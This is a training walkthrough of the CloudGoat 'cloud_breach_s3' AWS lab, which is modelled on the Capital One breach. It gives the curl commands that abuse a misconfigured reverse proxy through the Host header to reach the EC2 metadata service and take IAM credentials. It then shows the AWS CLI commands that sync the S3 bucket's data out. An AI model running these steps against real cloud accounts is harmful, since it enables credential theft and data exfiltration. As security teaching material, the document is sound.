CloudGoat walkthrough series: Cloud Breach S3

This is the second in the walkthrough series of the CloudGoat scenarios. CloudGoat is a “vulnerable by design” AWS deployment tool designed by Rhino Security Labs. It is used to deploy a vulnerable set of AWS resources and is designed to teach and test cloud security penetration testing via issues commonly seen in real-life environments.

Learn Cloud Security

Get hands-on experience with cloud service provider security, cloud penetration testing, cloud security architecture and management, and more.

Start Learning

Introduction

This scenario is inspired by the Capital One breach. In case you are unfamiliar with the Capital One breach, here is a brief summary: in 2019, a bad actor accessed data stored in AWS S3 buckets owned by Capital One and posted the exfiltrated data on GitHub. The bad actor gained access to the S3 bucket by exploiting a misconfigured AWS service (in this case it seems to be a firewall) to run commands on the Elastic Cloud Compute (EC2) Instance.

In addition, the EC2 Instance also had an Identity and Access Management (IAM) role assigned, which allowed anyone who had access to the server to access AWS resources such as the AWS S3 buckets. The bad actor also bragged about their actions on a Slack channel and on Twitter.

This walkthrough assumes you have CloudGoat set up on your Kali Linux. You can use our post on Working with CloudGoat: The “Vulnerable by Design” AWS Environment as a guide in deploying it.

Scenario summary

The scenario starts with the IP address of an AWS EC2 instance with a misconfigured reverse proxy. You start as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access and exfiltrate sensitive data from an S3 bucket.

The goal of the scenario is to download the confidential files from the S3 bucket.

Walkthrough

To deploy the resources for each scenario on AWS

./cloudgoat.py create cloud_breach_s3

1. Deploying the resources gives us an EC2 IP address – 34.228.232.48:
2. Using a curl to do a HTTP request to the EC2 Instance reveals that the instance is acting as a reverse proxy server.

curl http://<ip address>/latest/meta-data/iam/security-credentials -H ‘Host: 169.254.169.254’

This commands reveals the Amazon Identity and Access Management (IAM) role associated with the instance running.

curl http://<ip address>/latest/meta-data/iam/security-credentials/<insert role name here> -H ‘Host: 169.254.169.254’

A reverse proxy server is a type of server that retrieves resources on behalf of a client/resource from one or more servers. The reverse proxy server is set up in a way that anyone can set the host header to call the instance metadata API and obtain the credentials. The instance metadata contains data about the EC2 instance that you can use to configure or manage the running instance. When an HTTP request is made to the proxy server, it contains instructions to the host. A bad actor can manipulate the host header to fetch other data on the proxy server such as the IAM credential.

This command returns the access key ID, secret access key and the session token of the IAM instance profile attached to the EC2 Instance. This credential is a temporary one, as it has an expiration date.

aws configure --profile <insert profile name here>

Enter the access key and secret access key generated for the IAM instance profile. You can leave the default region name and the output format as empty.

Vi ~/.aws/credentials

aws s3 ls --profile <insert profile name here>

aws s3 sync s3://<insert bucket name> ./<new folder name> --profile <insert profile name here>

To view the content of the file:

tail or head <insert file name here>

./cloudgoat.py destroy cloud_breach_s3

Learn Cloud Security

Get hands-on experience with cloud service provider security, cloud penetration testing, cloud security architecture and management, and more.

Start Learning

Summary

The EC2 instance (acting as a reverse proxy server) was misconfigured allowing a bad actor to manipulate the host header into calling the instance metadata API and fetching the IAM credentials. This resulted in the bad actor gaining access to the S3 bucket and eventually, sensitive information stored in the S3 bucket.

Sources

Versioning IAM Policies, AWS

AWS CLI Command Reference - IAM, AWS

Defeating a Cloud Breach Part 1, AttackIQ

The Capital One Breach & “cloud_breach_s3” CloudGoat Scenario, Rhino Security Labs

Well, that escalated quickly, Bishop Fox

AWS IAM Privilege Escalation Methods, Rhino Security Labs

Capital One Data Breach - Step by step analysis, Roostify